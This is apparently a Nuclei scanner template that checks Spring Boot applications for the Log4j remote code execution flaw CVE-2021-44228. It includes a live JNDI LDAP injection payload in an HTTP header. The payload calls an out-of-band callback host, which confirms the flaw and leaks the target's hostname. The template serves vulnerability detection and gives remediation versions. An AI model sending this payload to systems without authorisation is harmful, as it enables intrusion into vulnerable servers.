springboot-log4j-rce: Spring Boot - Remote Code Execution (Apache Log4j)

id: springboot-log4j-rce

info:
  name: Spring Boot - Remote Code Execution (Apache Log4j)
  author: pdteam
  severity: critical
  description: Spring Boot is susceptible to remote code execution via Apache Log4j.
  remediation: Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
  reference:
    - https://logging.apache.org/log4j/2.x/security.html
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-502
  metadata:
    max-request: 1
  tags: cve,cve2021,springboot,rce,oast,log4j,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a004730450221008755799d545ae22906d859e18c9e747cdf6397260f999266baa9c2b9bd534791022023e1e774ea84b58b8e7bc7c7548c2c1354faa85d8577a3d978834c54e3a88765:922c64590222798bb761d5b6d8e72950